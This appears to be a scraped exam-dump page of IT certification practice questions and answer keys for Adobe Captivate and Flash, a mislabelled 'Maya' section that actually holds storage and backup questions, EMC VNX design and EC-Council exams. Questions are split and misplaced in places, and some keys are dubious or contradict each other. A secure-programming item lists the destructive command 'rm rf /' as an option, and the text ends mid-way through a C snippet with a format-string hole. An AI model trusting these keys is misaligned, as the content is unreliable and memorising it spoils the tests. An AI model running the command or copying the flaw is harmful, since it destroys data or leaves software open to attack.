Les meilleures Adobe 9A0-080 examen pratique questions et réponses

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Code d'Examen: 9A0-080
Nom d'Examen: Adobe (Adobe Captivate 3 ACE Exam)
Questions et réponses: 92 Q&As

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NO.1 You intend to capture a desktop application. You have been told by the software developer that you
may NOT resize the applications window and that you must capture it at its default window size. Youve
started the
application.
Which Software Simulation option will ensure you capture just the application window at its current size?
A.Application
B.Custom Size
C.Full Screen
D.Scenario Simulation
Answer: A

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NO.2 Which statement about project titles is NOT true?
A.Spaces in the project title are acceptable.
B.Underscores in the project title are acceptable.
C.Project titles longer than 8 characters are acceptable.
D.Project titles result in the HTML file name.
Answer: A

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NO.3 You publish your Captivate project as standalone. Later, you want to change the title bar.What should
you do?
A.Choose Edit > Preferences > General and change the Project name field.
B.Choose Project > Skin, select the Info tab and change the Project name field.
C.Edit the properties of the first slide and configure the Label field.
D.Choose File > Publish > Standalone and configure the Project Title field.
Answer: D

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NO.4 You want to create a demo that will be delivered as a single Flash.swf file. Which recording preference
produces extra.swf files?
A.record keystrokes
B.hear camera sounds during recording
C.automatically use full motion recording
D.record in demonstration mode
Answer: C

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NO.5 You are creating a new Captivate project. You want to use the Cosmos caption type in your project. The
Cosmos caption type was available in the drop down list in version 2, but is NOT available version 3.
What should you do?
A.Locate a PC with Captivate 2 still installed, then locate the Cosmos caption files and copy them from
the Captivate 2 PC to the Captivate 3 PC.
B.When editing the caption within Captivate, choose the Caption Type drop down, choose and open the
More folder.
C.Use a graphics editing application to re-create the look and feel of the Cosmos caption type.
D.Advise those involved in the decision making that this caption type is NO longer included with Captivate

NO.6 You have created a Captivate project and are preparing to add some audio narration to your text
captions. You want to ensure that the audio will synchronize with the text captions.What should you do?
A.Choose Audio > Background Audio and record the audio narration.
B.Choose Audio > Record > Project and record the audio narration.
C.Edit the properties for each text caption, choose the Audio tab and record the audio.
D.Choose Audio > Import and import a placeholder audio clip.
Answer: C

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NO.7 You want to publish your Captivate project as a short reference guide by creating a Microsoft Word
document.
Which output type should you choose?
A.Handouts
B.Step by Step
C.Lesson
D.Storyboard
Answer: B

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NO.8 You are publishing your Captivate project to Flash (SWF). Which option, if deselected, may cause
your project to NOT display properly in a Web browser?
A.Zip files
B.Export HTML
C.Full screen
D.Send PENS notification
Answer: B

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NO.9 Your users do NOT have access to the Flash player. Which publish option should you use to ensure
your users can view your published project?
A.Adobe Connect
B.Print
C.Flash (SWF)
D.Standalone
Answer: B

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NO.10 You will be deploying your Adobe Captivate movie in a Web browser to a broad audience. Users will
have a low bandwidth connection and video quality will have to be set to Standard.
Which Windows display setting should you choose to provide the best graphic appearance?
A.set the Windows display color quality to 32-bit
B.use a blank screen saver
C.turn off gradients in Active and Inactive Title bars
D.eliminate icons on desktop
Answer: C

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NO.11 Click the Exhibit button.
After publishing a Captivate project as a standalone and distributing on CD, you receive reports that the
CD does NOT automatically present the Captivate movie after being inserted in a PC.
Based on the exhibit, what are two reasons for this behavior? (Choose two.)
A.eLearning output needs to be enabled.
B.The Full screen option needs to be deselected.
C.The Flash Player Version needs to be changed.
D.The Generate autorun for CD option needs to be selected.
E.The Project Title is too long and needs to be shortened to 8 characters or less.
Answer: DE

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NO.12 You want to record an application so the Captivate movie contains the following settings after you
record:
- Click Boxes with Failure and Hint Captions
- Text Entry Boxes with Failure and Hint Captions and two attempts
Which recording option should you choose?
A.Demonstration
B.Assessment Simulation
C.Training Simulation
D.Custom
Answer: C

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NO.13 Captivate may be configured to record specific areas of the screen using the size you specify. Your
computer has been configured with a screen resolution of 1280 pixels by 800 pixels.
You will be placing your Captivate output on the Internet. You do NOT know which screen settings your
end users may have.
What should you do?
A.change your screen resolution to 640 x 480 pixels and record using the full screen option of Captivate
B.change your screen resolution to 1024 x 768 pixels and record the application at whatever size it
currently is displaying
C.configure the application to display at 1024 x 768 pixels and record using this size
D.configure the application to display at 800 x 600 pixels and record using this size
Answer: D

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NO.14 and it should no longer be used.
Answer: B

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3. You have created a text entry box to receive answers from users. You also want users to see their
previously entered answer if they return to this slide by using the Back button. What should you do?
A.Add responses to the Correct entries section.
B.Select Retain Text.
C.Select Infinite attempts.
D.Leave the Default text field blank
Answer: B

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NO.15 You want to add closed captioning text to your slides. What should you do?
A.Choose BMP playbars for the Skin property in the Skin Editor dialog box.
B.Choose Audio > Advanced Audio, click on an audio track, click the Closed Caption button and add a
caption.
C.Choose Project > Skin and deselect Show playback control in the Playback Control tab of the Skin
Editor dialog box
D.Add closed captioning text to slide notes
Answer: B

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NO.16 You want to publish your project as a SWF so it can be viewed over the Web via a Web browser. You do
NOT want your screen captures to be too wide or tall.
Which Software Simulation option will allow you to control the size of the capture area?
A.Application
B.Custom Size
C.Full Screen
D.Scenario Simulation
Answer: B

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NO.17 You want to realistically record the time it takes for a process to complete during the recording process.
Which Recording setting should you use?
A.Auto Recording.
B.Record keystrokes.
C.Record actions in real time.
D.Manual Recording.
Answer: C

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NO.18 You are publishing your Captivate project as a Word document. You want to provide your questions
and an answer key. Which output type should you choose?
A.Handouts
B.Step by Step
C.Lesson
D.Storyboard
Answer: C

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NO.19 You will be recording in Assessment mode. Which recording preference option is selected by default?
A.Automatically add click boxes when the mouse is clicked
B.Show mouse location and movement
C.Automatically add text captions
D.Convert tooltips to rollover captions
Answer: A

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NO.20 You are about to record a simulation. You want to provide Hint captions automatically by default. Which
option should you select?
A.Assessment Simulation
B.Demonstration
C.Training Simulation
D.Custom
Answer: C

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Code d'Examen: 9A0-148
Nom d'Examen: Adobe (Adobe Flash CS5 Exam)
Questions et réponses: 93 Q&As

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NO.1 You want to change the property of a symbol from a graphic to a movie clip using the Library panel.
What should you do?
A. Right-click (Ctrl-click) on the symbol within the Library s preview window and choose Properties.
B. Click on the New Symbol icon found at the bottom of the Library panel.
C. Click on the Properties icon found at the bottom of the Library panel.
D. Click on the Options submenu and select Rename.
Answer: C

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NO.2 You are using the new XFL file format. What would be a major benefit of using this approach?
A. The XFL format allows you to use your Flash based graphics in other Adobe design tools
B. XFL creates a folder with all of your file assets that could then be edited without the need for the Flash
IDE
C. XFL converts your project to a single XML file that contains all of your assets and code
D. XFL is based on the ZIP standard and holds all of your Flash based code and timeline information
Answer: B

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NO.3 Which statement about vector graphics is true?
A. Vector graphics perform better than bitmap graphics in Flash animations.
B. Flash Player 6 was the first Flash Player to support vector graphics.
C. Vector graphics describe images by using lines and curves.
D. Vector graphics are not supported in the Flash Player
Answer: C

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NO.4 You want to create a desktop application that contains a local embedded SQL database. Which
technology should you use?
A. Flash Player 10 swf application
B. Flash Player 10 projector application
C. AIR 1.1 application
D. Any version of the Flash Player will meet this requirement
Answer: C

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NO.5 You want to use the same static graphic multiple times in an animation. Which image asset type should
you use to optimize the animation?
A. Vector
B. Bitmap
C. SVG
D. Tween
Answer: B

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NO.6 You want to import a resolution-independent image asset directly into Flash CS5. Which image asset
type should you use?
A. AI
B. JPG
C. SVG
D. PSD
Answer: A

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NO.7 Which publish file format would be best for a dynamic Flash movie being delivered off the desktop?
A. Flash (.swf)
B. AIR (.air)
C. Flash Lite
D. Quicktime
Answer: B

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NO.8 You have created a custom component in your Library panel. You would like this component to have
parameters exposed in the Properties panel when it s added to the stage. Which option in the Library
panel allows you to add parameters to a custom component?
A. Convert to Compiled Clip
B. Export SWC File
C. Properties
D. Component Definition
Answer: D

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NO.9 You ve saved a file in the XFL file format. Which statement is true?
A. The XFL file will no longer be able to be edited in the Flash IDE
B. The file you would edit in a text editor will not have the name of the original Flash project
C. Saving to the new XFL format dramatically reduces the size of your file
D. Your file will be saved with your coding and timeline information but without assets
Answer: B

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NO.10 You have a requirement to make a mobile phone application for the Android 2.2 (FroYo) operating
system. What are your options?
A. Applications can be created either for AIR or for any version of the Flash Player 9 or higher
B. Applications must be created for the AIR runtime, the Flash Player is not supported
C. Android does not allow Flash applications although Flash CS5 has the capability to create Android
apps
D. Applications can be created either for AIR or for any version of the Flash Player 10.1 or higher
Answer: D

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NO.11 You have a requirement for an AIR 2 project that will support accessibility. Which class is designed to
address this need?
A. MakeAccessible
B. AccessibilityImplementation
C. Address503C
D. JAWS
Answer: B

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NO.12 You want to distribute a component that you have built. Which library option allows you to do this?
A. Convert to Compiled Clip
B. Export SWC File
C. Export Flash Movie
D. Component Definition
Answer: B

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NO.13 You are saving a Flash document in Flash CS5. Which statement about Flash CS5 Documents (FLA)
and Flash CS5 Uncompressed Documents (XFL) is true?
A. Both document types are binary files, but the XFL document type has a larger file size.
B. The XFL document type creates a folder with all sub files that make up the Flash file.
C. The XFL document is a zipped version of the FLA document.
D. The FLA is a binary document, the XFL document type is not.
Answer: B

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NO.14 You have created a rectangle primitive with rounded corners with different corner radii on each corner.
What will result if you lock the corners in the rectangle options?
A. Once you have unlocked the corners, you must continue with that design method
B. Unlocking the corners will make any future changes happen keeping the current percentages
C. Once you have unlocked the corners, your rectangle will adjust to the default squared corners
D. Once you have unlocked the corners, all corners will adjust to match the top left corner radius
Answer: D

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NO.15 Which Flash player version should be used to incorporate AIR, drop shadows, and accessibility
features.?
A. Flash Player 10.
B. Flash Player 9.
C. Flash Player 8.
D. Flash Player 7.
Answer: A

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Code d'Examen: MAYA11.A
Nom d'Examen: Autodesk (Maya 2011 Certified Associate)
Questions et réponses: 30 Q&As

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NO.1 Which type of backup should be used to create a backup copy offline without disrupting I/O operations
on a production volume?
A. Cumulative backup
B. Incremental backup
C. Full backup
D. Synthetic full backup
Answer: D

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NO.2 What is the process of moving data from one storage medium to another?
A. Cloning
B. Replication
C. Staging
D. Twinning
Answer: C

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NO.3 Which type of backup only copies the files that have changed since the last full backup.?
A. Cumulative
B. Full
C. Incremental
D. Synthetic full
Answer: A

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NO.4 You are planning the staging policy for disk-to-offsite tape backup media. In addition to available disk
space, which factor is most significant when determining how long to keep the backup data on disk?
A. Length of time when most restore requests are expected to occur
B. Location of offsite storage
C. Cost of shipping and storing tapes
D. Tape capacity
Answer: A

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NO.5 What is the role of the storage node in a client/server backup architecture?
A. Writes data to a backup device
B. Gathers data to be backed up
C. Manages the backup operation
D. Writes metadata to the backup catalog
Answer: A

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NO.6 What is the fault tolerance of a RAID 5 array, where n is the number of disks in the array?
A. 1
B. n-1
C. 2
D. n-2
Answer: A

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NO.7 A full backup of a file system is performed once a week on Saturday and cumulative backups are
performed on all other days. Backups start at 20:00 with a two-hour window. Data on the file system
changes every day.
How many backups are required to perform a full system restore as of Friday morning?
A. 2
B. 6
C. 1
D. 7
Answer: A

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NO.8 What terminology is used to describe grouping several physical drives into one logical drive?
A. Concatenation
B. Partitioning
C. Formatting
D. Grouping
Answer: A

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NO.9 A customer has a requirement to restore operations within two hours after a disaster.
What is this time period called?
A. Recovery time objective (RTO)
B. Retention period
C. Recovery point objective (RPO)
D. Backup window
Answer: A

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NO.10 Which disk connectivity option supports the highest data transfer rate?
A. SATA
B. SCSI
C. IDE
D. ATA
Answer: A

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NO.11 What is a benefit of deploying a separate storage node in the backup environment?
A. Reduced number of backups
B. Increased media utilization
C. Improved security and access control
D. Consolidate backup servers
Answer: D

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NO.12 A business has a recovery point objective (RPO) of nine hours. What does this RPO mean in the event
of a disaster?
A. No more than nine hours of production data can be lost
B. Restore from backup must occur within nine hours
C. Production must be resumed within nine hours
D. A backup copy of the production data must be obtained within nine hours
Answer: A

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NO.13 Which software component of a backup application sends media metadata to the backup server?
A. Storage node
B. Client
C. NetWorker Management Console
D. Application server
Answer: A

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NO.14 What is the primary reason for having disaster recovery backups?
A. To restore data from an alternate site due to data loss at a primary site
B. To restore data when data loss or logical corruptions occur during routine processing
C. To restore data that was archived for regulatory compliance
D. To restore data when data loss occurs due to minor hardware component failures
Answer: A

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NO.15 What is an example of a PCI connection?
A. Parallel interface between a disk and the controller card
B. Interconnection between a CPU and network card
C. Serial connection between a disk and the controller card
D. Interconnection between a tape drive and a computer
Answer: B

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NO.16 Which statement defines retention period?
A. Amount of time available for restoring a particular version of a backup dataset
B. Amount of time available for overwriting a volume containing backups
C. Period of time in which a backup must be restored
D. Amount of time allocated for full system recovery
Answer: A

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NO.17 A customer is moving data from a backup disk to tape, which will later will be stored offsite.
What is this process called?
A. Cloning
B. Staging
C. Aging
D. Mirroring
Answer: B

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NO.18 What is recovery point objective?
A. Maximum allowable time to fully recover an application
B. Actual time that it takes to recover all data
C. Amount of data loss that is acceptable by the business
D. Length of time that backups are kept for recovery purposes
Answer: C

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NO.19 What are the components of a Logical Volume Manager (LVM)?
A. Physical volumes, volume groups, logical volumes
B. Physical groups, volume groups, logical volumes
C. Physical groups, volume groups, logical groups
D. Physical blocks, volume groups, logical groups
Answer: A

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NO.20 What is the interval of time between the creation and expiration of the backup called?
A. Retention period
B. Recovery point objective (RPO)
C. Recovery time objective (RTO)
D. Backup window
Answer: A

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Code d'Examen: E20-880
Nom d'Examen: EMC (VNX Solutions Expert Exam for Technology Architects)
Questions et réponses: 128 Q&As

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NO.1 A client has asked for assistance with designing his Exchange environment. The environment today is
fully virtualized and Exchange will be as well. The client is concerned about local recovery and has
decided to make VMware snapshots of their VMFS File system housing Exchange. The VMware servers
are all attached through fiber to a VNX.
What volume type is required to meet the customer's protection needs?
A. Virtual Mode RDMs
B. Physical Mode RDMs
C. VMFS
D. Dedicated RAID Group LUNs
Answer: A

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NO.2 A customer would like to use five Ethernet ports on a VNX to increase the port and switch availability.
Two non-stackable Ethernet switches are available for the VNX and both support Full Duplex
communications.
How should the customer configure the VNX for the network?
A. Fail Safe Networking and Link Aggregation
B. Link Aggregation only
C. EtherChannel and Fail Safe Networking
D. EtherChannel only
Answer: A

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NO.3 A SQL Data Warehouse database is replicating between two VNX storage systems with Incremental
San Copy. The production database is on 15, 15k rpm SAS drives and the Reserved LUN Pool uses five
NL-SAS drives. The database is continuously updated locally and replicated once a day to maximize the
benefits of write folding. Replication takes place from 6 PM until 10 PM. At 6 PM the storage administrator
notices an increase in response time of the application, which steadily improves until 10 PM.
What should be done to improve performance during replication without affecting recovery data
granularity?
A. Put the Reserve LUN Pool on a similar disk and RAID type as the source volume.
B. Create a clone of the source volume and replicate the clone.
C. Expand the number of drives in the source volume to accommodate the increased I/O from the
replication session.
D. Adjust the San Copy throttle to minimize the impact to the production application.
Answer: A

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NO.4 A VNX storage system is being configured to provide storage for an Exchange 2010 implementation for
2,000 users. Performance and reliability are more important than cost for the customer.
What RAID configuration should be used?
A. A RAID 1/0 Group, spread across two DAEs on two separate storage system busses
B. Two RAID 5 Groups in a striped metaLUN across two DAEs, one from each back end bus
C. A RAID 1/0 Group on a single DAE
D. A RAID 6 Group which can accommodate two simultaneous drive failures
Answer: A

EMC   E20-880 examen   E20-880

NO.5 A company has added a large number of users to a VMware VDI deployment. The users are
complaining that the system (VNX-Block) is slow, especially when they start their shift. You have been
tasked to provide an economical solution.
Which technology would you use to improve performance?
A. FAST Cache
B. FAST VP
C. FAST
D. Fast VPN
Answer: A

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NO.6 A customer has designed an environment using block based LUNs presented to individual hosts. They
have configured a pool to start using both thick and thin LUNs. One of the standalone servers is an
archive server running on Windows. They want to maximize capacity on the standalone server since the
data is no longer accessed. They have no more drives to increase LUN capacity.
How can the customer increase available capacity to the archive server?
A. Compress the data on the block based LUN
B. Add capacity to the existing LUN
C. Delete old files
D. Back up the files, reconfigure the LUN, and restore the data
Answer: A

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NO.7 Which action would be most effective in reducing the performance impact of a Snapshot on a Source
LUN?
A. Using faster disks for the Source LUN
B. Using faster disks for the Reserved LUN Pool
C. Increasing the Snapshot chunk size
D. Increasing the Snapshot write-aside size
Answer: A

EMC   E20-880   E20-880

NO.8 A pair of VNX storage arrays is replicating between two data centers over an iSCSI connection. The
SQL Admin has noticed that a small OLTP database with a write size of 4k periodically experiences
increased disk response times. The Storage Admin reports that during the same period, replication
sessions are taking longer to complete. The Network Admin reports degraded performance between the
sites during the same period.
Why is the SQL application seeing increased disk response times from the local array?
A. Increased latency causes the MirrorView/A update cycles to take longer, increasing COFW activity.
B. The 64 KB chunk size for MirrorView/A does not match the small transaction size of the database,
increasing the bandwidth required between the arrays.
C. The MirrorView/A update cycle time is too short. It should be increased to improve write folding.
D. The MirrorView/A buffer size should be adjusted to match the smaller write I/O size.
Answer: A

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NO.9 A customer has a VNX system to provide storage for a VMware Cluster with five ESX hosts. Each ESX
host has one dual-port FC HBA connected to two FC switches. They are using VMware native failover
functionality for high availability and load-balancing.
The customer requires higher availability for the ESX host connectivity to the storage system.
What would you recommend to the customer?
A. Use dual HBAs with dual ports on each ESX host.
B. Use a host-based load balancing solution.
C. Use high quality stackable FC switches.
D. Current configuration ensures the best availability.
Answer: A

EMC   certification E20-880   E20-880

NO.10 A customer is about to implement your VNX for File design for a file-sharing environment. The design
specifies both NFS and Windows clients that access file systems in a multi-threaded manner. All file
systems will be created using the Automatic Volume Manager. The customer is most concerned with disk
efficiency, and wants to use all storage in each pool entry before creating another.
Which value would you change to meet this requirement?
A. is_greedy
B. slice
C. is_dynamic
D. stripesize
Answer: A

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NO.11 A customer is in the design phase of their SQL server implementation. They request your guidance
concerning the number of disk drives needed to properly configure the database for performance. The
current utilization of the database is shown below:S
-85% reads and 15% writes
-10K SAS disks
-RAID 1/0
-1150 IOPS
What is the minimum number of disk spindles required to service the random I/O requests during usage of
the SQL Server database?
A. 8
B. 10
C. 12
D. 14
Answer: B

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NO.12 Your customer is designing a Proof of Concept with SQL Server attached to a VNX. The storage
design includes seven LUNs on a RAID Group. The system is generally very heavily loaded, with a
particularly high load on the cache. This is a very carefully controlled environment and your customer has
asked for assistance in planning the layout of the LUN location on the physical spindles.
Where in the RAID Group would you recommend placing the two heavily used LUNs for a short-stroked
architecture?
A. Adjacent to each other at the beginning
B. One at beginning and one at the end
C. Adjacent to each other in the middle
D. Evenly placed, as non-adjacent as possible
Answer: A

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NO.13 A customer has created a thin LUN, enabled compression on a LUN Pool, and installed their Exchange
environment. The Exchange application is showing poor performance.
Which workload characteristic of Exchange would produce poor access times on a compressed LUN?
A. Small random writes
B. Small random reads
C. Sequential reads
D. Uncompressed or host based data
Answer: A

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NO.14 Your customer has a new VNX solution configured with Flash, SAS, and NL-SAS drives. The customer
requires their OLTP, VDI, Software Development, and Regulatory Compliance workloads to be distributed
between the different drive types. Due to limited drive quantities only one workload type can be configured
using Flash drives.
According to best practices which configuration best assigns the workloads.?
A. VDI on Flash drives; OLTP on SAS; Software Development on SAS; Regulatory Compliance on
NL-SAS
B. OLTP on Flash drives; VDI on SAS; Regulatory Compliance on SAS; Software Development on
NL-SAS
C. OLTP on Flash drives; VDI on SAS; Software Development on SAS; Regulatory Compliance on
NL-SAS
D. VDI on Flash drives; OLTP on SAS; Regulatory Compliance on SAS; Software Development on
NL-SAS
Answer: A

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NO.15 A customer is in the design phase of their SQL server implementation. They request your guidance
concerning the number of disk drives needed to properly configure the database for performance. The
current utilization of the database is shown below:
-80% reads and 20% writes
-10K SAS disks
-RAID 5
-1150 IOPS
What is the minimum number of disk spindles required to service the random I/O requests during usage of
the SQL Server database?
A. 12
B. 14
C. 18
D. 20
Answer: B

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NO.16 A customer would like to configure their VNX for File for the highest possible level of client availability.
There are five Ethernet ports on a single DataMover and a single Ethernet switch available for client
communications.
What availability features would you recommend to the customer?
A. Link Aggregation Control Protocol only
B. EtherChannel port aggregation and Fail Safe Networking
C. Fail Safe Networking and Link Aggregation Control Protocol
D. EtherChannel port aggregation only
Answer: A

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NO.17 You are working with a customer to design a VNX for Block solution for their SQL database. They
currently have a CX4-480. In the past they have co-located their database and log files. In the new VNX
design, the database will be placed in a FAST VP enabled pool. The transaction logs will be placed on a
traditional RAID Group. Your customer needs help determining the number of spindles they need to
satisfy the needs of their transaction logs.
You know the following: -Transactionperiod:8 hours (business day) -Throughput during transaction
period:240 GB
How many RAID 1/0 15K spindles will the transaction log volume require?
A. 4
B. 8
C. 10
D. 16
Answer: D

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NO.18 You are migrating a backup application that runs on physical servers to a VDC. The VDC storage is
currently a VNX configured with NL-SAS drives only. Your customer is concerned about the cost to
achieve reasonable performance. You are designing the VMs that will support the application.
Based on cost, which would be the first solution you would recommend?
A. VMware Paravirtual SCSI virtual adapter
B. Virtual adapter is BusLogic Parallel
C. FAST VP Pool (Flash and SAS drives)
D. SAS RAID Group
Answer: A

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NO.19 A customer is checking a NAR file in Unisphere Analyzer. They see that a RAID Group with only a single
LUN is shown with consistently large Disk - Average Seek Distances.
What could this indicate?
A. Randomness of the I/O
B. Write utilization
C. LUN misalignment
D. Applicationburstiness
Answer: A

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NO.20 As a result of suffering a catastrophic failure, your customer has requested a DR solution. The solution
must introduce a higher level of availability for their Exchange 2010 system. You have recommended a
strategy that involves Replication Manager with native DAG.
In what state(s) of the database would the replication occur?
A. Either active or passive
B. Active only
C. Passive only
D. Neither active nor passive
Answer: A

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Code d'Examen: 312-76
Nom d'Examen: EC-COUNCIL (Disaster Recovery Professional Practice Test)
Questions et réponses: 290 Q&As

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NO.1 Which of the following BCP teams is the first responder and deals with the immediate effects of the
disaster?
A. Emergency action team
B. Emergency-management team
C. Damage-assessment team
D. Off-site storage team
Answer: A

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NO.2 Pete works as a Network Security Officer for Gentech Inc. He wants to encrypt his network traffic. The
specific requirement for the encryption algorithm is that it must be a symmetric key block cipher. Which of
the following techniques will he use to fulfill this requirement?
A. AES
B. DES
C. IDEA
D. PGP
Answer: B

EC-COUNCIL   312-76   312-76 examen   certification 312-76

NO.3 You work as the project manager for Bluewell Inc. Your project has several risks that will affect several
stakeholder requirements. Which project management plan will define who will be available to share
information on the project risks?
A. Communications Management Plan
B. Resource Management Plan
C. Risk Management Plan
D. Stakeholder management strategy
Answer: A

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NO.4 Which of the following roles is responsible for the review and risk analysis of all the contracts on
regular basis?
A. The IT Service Continuity Manager
B. The Configuration Manager
C. The Supplier Manager
D. The Service Catalogue Manager
Answer: C

certification EC-COUNCIL   312-76   312-76   312-76 examen

NO.5 Della works as a security manager for SoftTech Inc. She is training some of the newly recruited
personnel in the field of security management. She is giving a tutorial on DRP. She explains that the major
goal of a disaster recovery plan is to provide an organized way to make decisions if a disruptive event
occurs and asks for the other objectives of the DRP. If you are among some of the newly recruited
personnel in SoftTech Inc, what will be your answer for her question?
Each correct answer represents a part of the solution. Choose three.
A. Guarantee the reliability of standby systems through testing and simulation.
B. Protect an organization from major computer services failure.
C. Minimize the risk to the organization from delays in providing services.
D. Maximize the decision-making required by personnel during a disaster.
Answer: A,B,C

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NO.6 Which of the following is a set of exclusive rights granted by a state to an inventor or his assignee for a
fixed period of time in exchange for the disclosure of an invention?
A. Snooping
B. Patent
C. Utility model
D. Copyright
Answer: B

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NO.7 Which of the following types of attacks occurs when an attacker successfully inserts an intermediary
software or program between two communicating hosts?
A. Password guessing attack
B. Dictionary attack
C. Man-in-the-middle attack
D. Denial-of-service attack
Answer: C

EC-COUNCIL   certification 312-76   312-76 examen

NO.8 You are responsible for network and information security at a large hospital. It is a significant concern
that any change to any patient record can be easily traced back to the person who made that change.
What is this called?
A. Availability
B. Non repudiation
C. Confidentiality
D. Data Protection
Answer: B

EC-COUNCIL   312-76   312-76   312-76   312-76

NO.9 Which of the following tools in Helix Windows Live is used to reveal the database password of password
protected MDB files created using Microsoft Access or with Jet Database Engine?
A. Asterisk logger
B. FAU
C. Access Pass View
D. Galleta
Answer: C

EC-COUNCIL   certification 312-76   certification 312-76   312-76 examen   312-76

NO.10 Mark is the project manager of the HAR Project. The project is scheduled to last for eighteen months
and six months already passed. Management asks Mark that how often the project team is participating in
the risk reassessment of this project. What should Mark tell management if he is following the best
practices for risk management.?
A. At every status meeting of the project team, project risk management is an agenda item.
B. Project risk management happens at every milestone.
C. Project risk management has been concluded with the project planning.
D. Project risk management is scheduled for every month in the 18-month project.
Answer: A

EC-COUNCIL   312-76   312-76   312-76 examen

NO.11 Which of the following response teams aims to foster cooperation and coordination in incident
prevention, to prompt rapid reaction to incidents, and to promote information sharing among members
and the community at large?
A. CERT
B. CSIRT
C. FedCIRC
D. FIRST
Answer: D

EC-COUNCIL examen   312-76 examen   312-76

NO.12 Which of the following statements best describes the difference between the role of a data owner and
the role of a data custodian?
A. The custodian makes the initial information classification assignments and the operations manager
implements the scheme.
B. The custodian implements the information classification scheme after the initial assignment by the
operations manager.
C. The data custodian implements the information classification scheme after the initial assignment by the
data owner.
D. The data owner implements the information classification scheme after the initial assignment by the
custodian.
Answer: C

EC-COUNCIL   312-76 examen   312-76   certification 312-76   312-76

NO.13 Which of the following BCP teams is the first responder and deals with the immediate effects of the
disaster?
A. Emergency management team
B. Damage assessment team
C. Off-site storage team
D. Emergency action team
Answer: D

EC-COUNCIL   certification 312-76   certification 312-76   312-76

NO.14 Which of the following is established during the Business Impact Analysis by the owner of a process in
accepted business continuity planning methodology?
A. Recovery Consistency Objective
B. Recovery Time Objective
C. Recovery Point Objective
D. Recovery Time Actual
Answer: B

EC-COUNCIL examen   312-76   certification 312-76   312-76 examen   312-76 examen

NO.15 Which of the following are some of the parts of a project plan?
Each correct answer represents a complete solution. Choose all that apply.
A. Risk identification
B. Team members list
C. Risk analysis
D. Project schedule
Answer: A,B,C,D

certification EC-COUNCIL   312-76   312-76 examen   certification 312-76   312-76 examen

NO.16 IT Service Continuity Management (ITSCM) is used to support the overall Business Continuity
Management (BCM) in order to ensure that the required IT infrastructure and the IT service provision are
recovered within an agreed business time scales. Which of the following are the benefits of implementing
IT Service Continuity Management?
Each correct answer represents a complete solution. Choose all that apply.
A. It prioritizes the recovery of IT services by working with BCM and SLM.
B. It minimizes costs related with recovery plans using proper proactive planning and testing.
C. It confirms competence, impartiality, and performance capability of an organization that performs
audits.
D. It minimizes disruption in IT services when it follows a major interruption or disaster.
Answer: A,B,D

EC-COUNCIL examen   certification 312-76   312-76

NO.17 You work as a project manager for TYU project. You are planning for risk mitigation. You need to identify
the risks that will need a more in-depth analysis. Which of the following activities will help you in this?
A. Quantitative analysis
B. Estimate activity duration
C. Risk identification
D. Qualitative analysis
Answer: D

EC-COUNCIL examen   certification 312-76   312-76   312-76 examen   312-76

NO.18 You work as an Incident handling manager for Orangesect Inc. You detect a virus attack incident in the
network of your company. You develop a signature based on the characteristics of the detected virus.
Which of the following phases in the Incident handling process will utilize the signature to resolve this
incident?
A. Eradication
B. Identification
C. Containment
D. Recovery
Answer: A

certification EC-COUNCIL   312-76 examen   312-76 examen

NO.19 Which of the following levels of RAID provides security features that are availability, enhanced
performance, and fault tolerance?
A. RAID-10
B. RAID-5
C. RAID-0
D. RAID-1
Answer: A

EC-COUNCIL   certification 312-76   312-76   312-76   312-76

NO.20 Which of the following cryptographic system services assures the receiver that the received message
has not been altered?
A. Authentication
B. Confidentiality
C. Non-repudiation
D. Integrity
Answer: D

EC-COUNCIL   312-76 examen   312-76   certification 312-76   312-76

NO.21 Availability Management deals with the day-to-day availability of services. Which of the following takes
over when a 'disaster' situation occurs?
A. Capacity Management
B. Service Level Management
C. Service Continuity Management
D. Service Reporting
Answer: C

EC-COUNCIL examen   312-76 examen   312-76   312-76

NO.22 Fill in the blank with the appropriate number:
RAID-________ is a combination of RAID-1 and RAID-0.
A. 10
Answer: A

EC-COUNCIL   312-76   312-76   certification 312-76   312-76

NO.23 Which of the following is the simulation of the disaster recovery plans?
A. Walk-through test
B. Full operational test
C. Paper test
D. Preparedness test
Answer: B

certification EC-COUNCIL   certification 312-76   312-76 examen   312-76 examen

NO.24 Which of the following backup sites takes the longest recovery time?
A. Cold backup site
B. Hot backup site
C. Warm backup site
D. Mobile backup site
Answer: A

certification EC-COUNCIL   312-76   certification 312-76

NO.25 Which of the following statements are true about classless routing protocols?
Each correct answer represents a complete solution. Choose two.
A. The same subnet mask is used everywhere on the network.
B. They extend the IP addressing scheme.
C. IGRP is a classless routing protocol.
D. They support VLSM and discontiguous networks.
Answer: B,D

EC-COUNCIL   312-76   certification 312-76   312-76 examen

NO.26 You work as a Database Administrator for Bluewell Inc. The company has a SQL Server 2005
computer. The company asks you to implement a RAID system to provide fault tolerance to a database.
You want to implement disk mirroring. Which of the following RAID levels will you use to accomplish the
task?
A. RAID-5
B. RAID-0
C. RAID-1
D. RAID-10
Answer: C

EC-COUNCIL examen   312-76   312-76   312-76

NO.27 Which of the following statements about disaster recovery plan documentation are true?
Each correct answer represents a complete solution. Choose all that apply.
A. The documentation regarding a disaster recovery plan should be stored in backup tapes.
B. The documentation regarding a disaster recovery plan should be stored in floppy disks.
C. The disaster recovery plan documentation should be stored onsite only.
D. The disaster recovery plan documentation should be stored offsite only.
Answer: A,D

EC-COUNCIL   312-76 examen   312-76 examen

NO.28 Which of the following control measures are considered while creating a disaster recovery plan?
Each correct answer represents a part of the solution. Choose three.
A. Detective measures
B. Supportive measures
C. Corrective measures
D. Preventive measures
Answer: A,C,D

EC-COUNCIL examen   312-76   312-76 examen   312-76 examen   312-76

NO.29 Which of the following options is an intellectual property right to protect inventions?
A. Snooping
B. Patent
C. Copyright
D. Utility model
Answer: D

EC-COUNCIL   certification 312-76   certification 312-76   312-76

NO.30 Which of the following is the duration of time and a service level within which a business process must
be restored after a disaster in order to avoid unacceptable consequences associated with a break in
business continuity?
A. RTA
B. RPO
C. RCO
D. RTO
Answer: D

EC-COUNCIL examen   312-76 examen   certification 312-76

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Code d'Examen: 312-92
Nom d'Examen: EC-COUNCIL (EC-Council Certified Secure Programmer v2)
Questions et réponses: 99 Q&As

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NO.1 Which Linux command will securely delete a file by overwriting its contents?
A. rm rf /
B. Shred
C. ps rm
D. del rm
Answer: B

EC-COUNCIL examen   312-92   certification 312-92

NO.2 David is an applications developer working for Dewer and Sons law firm in Los Angeles David just
completed a course on writing secure code and was enlightened by all the intricacies of how code must
be rewritten many times to ensure its security. David decides to go through all the applications he has
written and change them to be more secure. David comes across the following snippet in one of his
programs:
#include <stdio.h>
int main(int argc, char **argv)
{
int number = 5;
printf(argv[1]);
putchar( \n );
